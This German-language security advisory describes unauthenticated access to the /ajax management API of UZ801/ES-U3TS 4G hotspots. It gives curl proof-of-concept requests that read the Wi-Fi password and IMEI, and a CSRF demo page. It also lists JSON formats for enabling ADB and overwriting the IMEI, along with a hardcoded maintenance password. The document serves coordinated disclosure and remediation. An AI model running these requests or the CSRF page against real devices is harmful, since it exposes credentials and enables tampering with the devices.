
Sicherheitshinweis, der eine fehlerhafte Zugriffskontrolle in der UZ801/ES-U3TS MifiService-Web-API beschreibt, die eine nicht authentifizierte Datenextraktion, Konfigurationsänderung und einen Geräteneustart ermöglicht. Enthält PoCs und Gegenmaßnahmen.
Sicherheitshinweis und technische Notizen zu einem Problem mit fehlerhafter Zugriffskontrolle in der eingebetteten Web-Management-API, die von MifiService.apk auf der OEM-/White-Label-Plattform UZ801_v2.1 für mobile 4G-LTE-Wi-Fi-Geräte bereitgestellt wird, die auch unter dem Namen ES-U3TS vermarktet wird.
Dieses Repository dient der Unterstützung einer koordinierten Offenlegung und der CVE-Zuweisung. Es konzentriert sich auf reproduzierbare, nicht-weaponisierte technische Belege.
Das betroffene Gerät stellt einen Jetty-basierten HTTP-Verwaltungsendpunkt unter folgender Adresse bereit:
http://192.168.100.1/ajax
Der Backend-Anfrage-Dispatcher ist implementiert in:
com.mifiservice.server.AjaxSevlet
Obwohl die Weboberfläche eine Anmeldeseite anzeigt, erzwingt das Backend für die meisten Verwaltungsfunktionen keine gültige, authentifizierte serverseitige Sitzung. Infolgedessen kann ein Angreifer im angrenzenden Netzwerk sensible funcNo-Operationen ohne Authentifizierung direkt aufrufen.
Der verifizierte Einfluss umfasst:
Zusätzliche Hochrisikofunktionen wurden durch statische Analyse bestätigt, darunter:
Die getestete Hardware scheint zu einer OEM-/White-Label-Gerätefamilie zu gehören. Der genaue ursprüngliche Entwicklungshersteller ist derzeit unbekannt, und es wurde bisher kein zuverlässiger Sicherheitskontakt des Herstellers identifiziert.
Dieser Hinweis verwendet daher die folgende Produktbenennung:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.helloWenn weitere Marken oder Wiederverkäufer gefunden werden, die dieselbe Firmware, APK, Web-Assets und dasselbe funcNo-Verhalten ausliefern, sollten diese als wahrscheinlich betroffene Varianten derselben Codebasis behandelt werden.
/ajax Web-API-EndpunktMifiService.apkcom.mifiservice.server.AjaxSevletHierbei handelt es sich in erster Linie nicht um ein Problem mit Standard-Anmeldedaten.
Die Grundursache ist eine fehlerhafte Zugriffskontrolle in der Backend-API:
Origin-Validierung vorhandenReferer-Validierung vorhandenDie Anmeldefunktion existiert, bietet jedoch für den Großteil der Verwaltungs-API keine aussagekräftigen Autorisierungsgrenzen.
Primärer Angriffsvektor:
Sekundärer Angriffsvektor:
Dies ist standardmäßig kein aus dem Internet erreichbarer Remote-Angriff. Der Angreifer muss entweder:
192.168.100.1 haben, oderAlle unten aufgeführten Ergebnisse sind als betroffene Funktionalität desselben Problems der fehlerhaften Zugriffskontrolle enthalten.
Wo relevant, ist jedes Element ausdrücklich gekennzeichnet als entweder:
Live validiertDurch statische Analyse bestätigtDiese Unterscheidung wird aus Gründen der Genauigkeit beibehalten. Hochrisikofunktionen werden nicht fälschlich als live getestet bezeichnet, wenn sie absichtlich nicht auf öffentlicher Hardware ausgeführt wurden.
| funcNo | Beschreibung | Status | Hinweise |
|---|
Zum Zeitpunkt der Erstellung dieses Dokuments scheint das Gerät über OEM-/Wiederverkäuferkanäle mit inkonsistenter oder fehlender Kennzeichnung verkauft zu werden, und es wurde kein vertrauenswürdiger Kontakt zum ursprünglichen Entwicklungshersteller hergestellt.
Die folgenden Beispiele sind absichtlich auf schreibgeschützte oder risikoarme Validierung beschränkt. Sie dienen dazu, die Schwachstelle zu demonstrieren, ohne einen weaponisierten Ausbeutungsworkflow bereitzustellen.
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
Erwartetes Verhalten:
ssidpwd im Klartextcurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
Erwartetes Verhalten:
imeifwversionAktuelle Sprache lesen:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
Sprache setzen:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
Den ursprünglichen Wert danach wiederherstellen.
Dieser Endpunkt erzwingt keinen Sitzungszustand oder eine Origin-/Referer-Validierung. Ein verbundener Opfer-Browser kann daher missbraucht werden, um Hintergrundanfragen zu senden.
Minimale Demonstrationsseite:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
Dieses Beispiel ist absichtlich auf eine schreibgeschützte Funktionsnummer beschränkt. Setzen Sie es nicht gegen Benutzer oder Produktionsgeräte ein.
Die folgenden JSON-Formate werden nur für defensive Analyse und Triage dokumentiert. Sie werden hier nicht mit Ausführungsschritten versehen.
2001 - versteckte Debug-Schnittstellen aktivieren{"funcNo":2001}
Beobachtetes Verhalten im Code:
setprop persist.sys.usb.config rndis,serial_smd,diag,adb aussync aus2004 - IMEI-Überschreibungspfad{"funcNo":2004,"imei":"<redacted-test-value>"}
Beobachtetes Verhalten im Code:
AT+WRIMEI=<value> entsprichtHier ist kein öffentlicher Live-Test enthalten, da rechtliche, Compliance- und Geräteintegritätsbedenken bestehen.
1002{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
Dieses Problem ist ein starker CVE-Kandidat, weil es:
Vorgeschlagene Klassifizierung:
CWE-306 Fehlende Authentifizierung für kritische FunktionCWE-862 Fehlende AutorisierungVorgeschlagener CVSS:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo-Anfragen ohne Authentifizierung ablehnenOrigin und Referer validierenDieses Repository ist für defensive Forschung, Schwachstellenoffenlegung und Koordination bestimmt. Öffentliche Beispiele sind absichtlich auf risikoarme Validierung beschränkt. Hochrisikofunktionalität wird nur in dem Umfang dokumentiert, der für Abhilfe und CVE-Triage erforderlich ist.
| funcNo | Beschreibung | Status | Hinweise |
|---|
1002 | SSID, Geräte-IP, DNS, Wi-Fi-Passwort lesen | Live validiert | Gibt Wi-Fi-Passwort im Klartext zurück |
1009 | Wi-Fi-Verschlüsselungsmodus und Passwort lesen | Live validiert | Gibt Wi-Fi-Passwort im Klartext zurück |
1011 | DHCP-Bereich, DNS, Client-Liste lesen | Live validiert | Nützlich für lokale Aufklärung |
1015 | SIM-Status lesen | Live validiert | Gibt SIM-Zustand zurück |
1029 | IMEI, Firmware, Hersteller, Signalinformationen lesen | Live validiert | Gibt sensible Geräteidentität zurück |
1052 | MAC-Filtermodus und konfigurierte Einträge lesen | Live validiert | Gibt Richtlinie und konfigurierte Slots preis |
2002 | Aktiven SIM-Slot lesen | Live validiert | Legt Laufzeitzustand offen |
| funcNo | Beschreibung | Status | Hinweise |
|---|
1004 | Verbindungsmodus ändern | Statisch bestätigt | Keine Sitzungsdurchsetzung beobachtet |
1005 | Bevorzugten Netzwerkmodus ändern | Statisch bestätigt | Hohe betriebliche Auswirkung |
1007 | SSID / maximale Stationsanzahl ändern | Statisch bestätigt | Speichert Konfiguration und startet AP-Logik neu |
1010 | Wi-Fi-Verschlüsselungsmodus / Passwort ändern | Statisch bestätigt | Hohe Auswirkung auf die Vertraulichkeit |
1012 | DHCP-/DNS-bezogene Einstellungen ändern | Statisch bestätigt | Manipulation des lokalen Netzwerks |
1016/1017/1018 | APN-Profil lesen / setzen / wechseln | Statisch bestätigt | Änderung des WAN-Verhaltens |
1031 | Sprache ändern und speichern | Live validiert | Als risikoarmer Nachweis für Schreibzugriff verwendet |
1053/1054/1055 | MAC-Filterverhalten und -einträge ändern | Statisch bestätigt | Manipulation der Netzwerkzugriffskontrolle |
| funcNo | Beschreibung | Status | Hinweise |
|---|
1013 | Gerät neu starten | Live validiert | DoS / Dienstunterbrechung |
1014 | App-/Netzwerkkonfiguration zurücksetzen und neu starten | Live validiert | Kein vollständiges Löschen der Android-Benutzerdaten |
2000 | Neustart in den Bootloader | Live validiert | Hohe betriebliche Auswirkung |
2001 | Versteckte ADB-/Diag-USB-Konfiguration aktivieren und neu starten | Statisch bestätigt | Gefährlicher Wartungspfad |
2003 | Versteckter Wartungspasswort-Pfad | Statisch bestätigt | Verwendet hartcodiertes admin8888; Verhalten erscheint teilweise / residual |
2004 | IMEI überschreiben | Statisch bestätigt | Ruft AT-Befehlspfad auf; nicht öffentlich ausgeführt |